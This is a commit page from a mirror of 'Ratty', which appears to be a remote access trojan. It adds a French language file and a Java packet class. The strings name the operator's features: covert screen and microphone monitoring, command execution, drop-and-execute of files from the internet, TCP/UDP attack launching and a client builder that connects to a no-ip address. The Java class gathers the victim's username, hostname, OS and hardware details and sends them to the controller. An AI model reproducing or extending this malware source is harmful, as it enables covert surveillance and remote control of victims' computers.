mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
10 changed files with 250 additions and 6 deletions
-
BINRatty/res/gui_menu_icons.png
-
8Ratty/res/language/lang.properties
-
8Ratty/res/language/lang_de.properties
-
8Ratty/res/language/lang_en.properties
-
65Ratty/res/language/lang_fr.properties
-
10Ratty/src/de/sogomn/rat/gui/ChatWindow.java
-
2Ratty/src/de/sogomn/rat/gui/server/RattyGui.java
-
47Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java
-
104Ratty/src/de/sogomn/rat/packet/ComputerInfoPacket.java
-
4Ratty/src/de/sogomn/rat/packet/PacketType.java
Before Width: 64 | Height: 64 | Size: 972 B After Width: 64 | Height: 64 | Size: 1011 B |
@ -0,0 +1,65 @@ |
|||
debug.question=Serveur ou client? |
|||
debug.server=Serveur |
|||
debug.client=Client |
|||
|
|||
server.port_question=A quel port le serveur sera-t-il associe? |
|||
server.port_error=Port invalide. |
|||
server.free_warning=Le client ne sera pas disponible jusqu'à ce que l'ordinateur redemarre.\r\n\ |
|||
Continuer? |
|||
|
|||
server.yes=Oui |
|||
server.no=Non |
|||
server.cancel=Annuler |
|||
server.tcp=TCP |
|||
server.udp=UDP |
|||
server.attack_message=Quel protocole? |
|||
server.url_message=Entrez une URL. |
|||
server.amount_question=Combien de fois? |
|||
builder.address_question=A quelle adresse le client devra-t-il se connecter (exemple.no-ip.org)? |
|||
builder.port_question=A quel port? |
|||
builder.error=Quelque chose a echoue. |
|||
menu.file_management=Gestion des fichiers |
|||
menu.surveillance=Surveillance |
|||
menu.utility=Utilitaire |
|||
menu.other=Autre |
|||
file_information.name=Nom du ficher |
|||
file_information.path=Chemin d'acces |
|||
file_information.size=Poids du ficher |
|||
file_information.directory=Dossier |
|||
file_information.creation=Date de creation |
|||
file_information.last_access=Dernier acces |
|||
file_information.last_modification=Derniere modification |
|||
file_information.bytes=Octets |
|||
|
|||
action.popup=Ouvrir une fenetre |
|||
action.screenshot=Prendre une capture d'ecran |
|||
action.desktop=Activer/Desactiver le partage d'ecran |
|||
action.voice=Activer/Desactiver l'ecoute du micro |
|||
action.files=Parcourir les fichiers |
|||
action.command=Executer une commande |
|||
action.clipboard=Afficher le presse-papiers (clipboard) |
|||
action.website=Ouvrir un site web |
|||
action.audio=Jouer un son |
|||
action.free=Liberer le client |
|||
action.build=Createur de client |
|||
action.attack=Lancer une attaque |
|||
action.request_files=Demander le contenu |
|||
action.download=Telecharger le fichier |
|||
action.upload=Deposer un fichier ici |
|||
action.execute=Executer le fichier |
|||
action.delete=Supprimer le fichier |
|||
action.new_directory=Creer un nouveau dossier |
|||
action.upload_execute=Envoyer et executer un fichier |
|||
action.drop_file=Deposer un fichier ici (depuis internet) |
|||
action.drop_execute=Deposer et executer un fichier (depuis internet) |
|||
action.chat=Ouvrir un chat |
|||
action.file_information=Obtenir les informations du fichier |
|||
|
|||
column.name=Nom |
|||
column.location=Pays |
|||
column.address=Adresse IP |
|||
column.os=Systeme d'exploitation |
|||
column.version=Version |
|||
column.desktop=Partage d'ecran |
|||
column.voice=Ecoute du micro |
|||
column.ping=Latence |
@ -0,0 +1,104 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.net.InetAddress; |
|||
import java.net.UnknownHostException; |
|||
|
|||
import de.sogomn.rat.ActiveConnection; |
|||
|
|||
public class ComputerInfoPacket extends AbstractPingPongPacket { |
|||
|
|||
private String name, hostName, os, osVersion, osArchitecture; |
|||
private int processors; |
|||
private long ram; |
|||
|
|||
public ComputerInfoPacket() { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
protected void sendRequest(final ActiveConnection connection) { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
protected void sendData(final ActiveConnection connection) { |
|||
connection.writeUTF(name); |
|||
connection.writeUTF(hostName); |
|||
connection.writeUTF(os); |
|||
connection.writeUTF(osVersion); |
|||
connection.writeUTF(osArchitecture); |
|||
connection.writeInt(processors); |
|||
connection.writeLong(ram); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveRequest(final ActiveConnection connection) { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveData(final ActiveConnection connection) { |
|||
name = connection.readUTF(); |
|||
hostName = connection.readUTF(); |
|||
os = connection.readUTF(); |
|||
osVersion = connection.readUTF(); |
|||
osArchitecture = connection.readUTF(); |
|||
processors = connection.readInt(); |
|||
ram = connection.readLong(); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeRequest(final ActiveConnection connection) { |
|||
type = DATA; |
|||
name = System.getProperty("user.name"); |
|||
os = System.getProperty("os.name"); |
|||
osVersion = System.getProperty("os.version"); |
|||
osArchitecture = System.getProperty("os.arch"); |
|||
processors = Runtime.getRuntime().availableProcessors(); |
|||
ram = Runtime.getRuntime().totalMemory(); |
|||
|
|||
try { |
|||
hostName = InetAddress.getLocalHost().getHostName(); |
|||
} catch (final UnknownHostException ex) { |
|||
hostName = ""; |
|||
|
|||
ex.printStackTrace(); |
|||
} |
|||
|
|||
connection.addPacket(this); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeData(final ActiveConnection connection) { |
|||
//... |
|||
} |
|||
|
|||
public String getName() { |
|||
return name; |
|||
} |
|||
|
|||
public String getHostName() { |
|||
return hostName; |
|||
} |
|||
|
|||
public String getOs() { |
|||
return os; |
|||
} |
|||
|
|||
public String getOsVersion() { |
|||
return osVersion; |
|||
} |
|||
|
|||
public String getOsArchitecture() { |
|||
return osArchitecture; |
|||
} |
|||
|
|||
public int getProcessors() { |
|||
return processors; |
|||
} |
|||
|
|||
public long getRam() { |
|||
return ram; |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue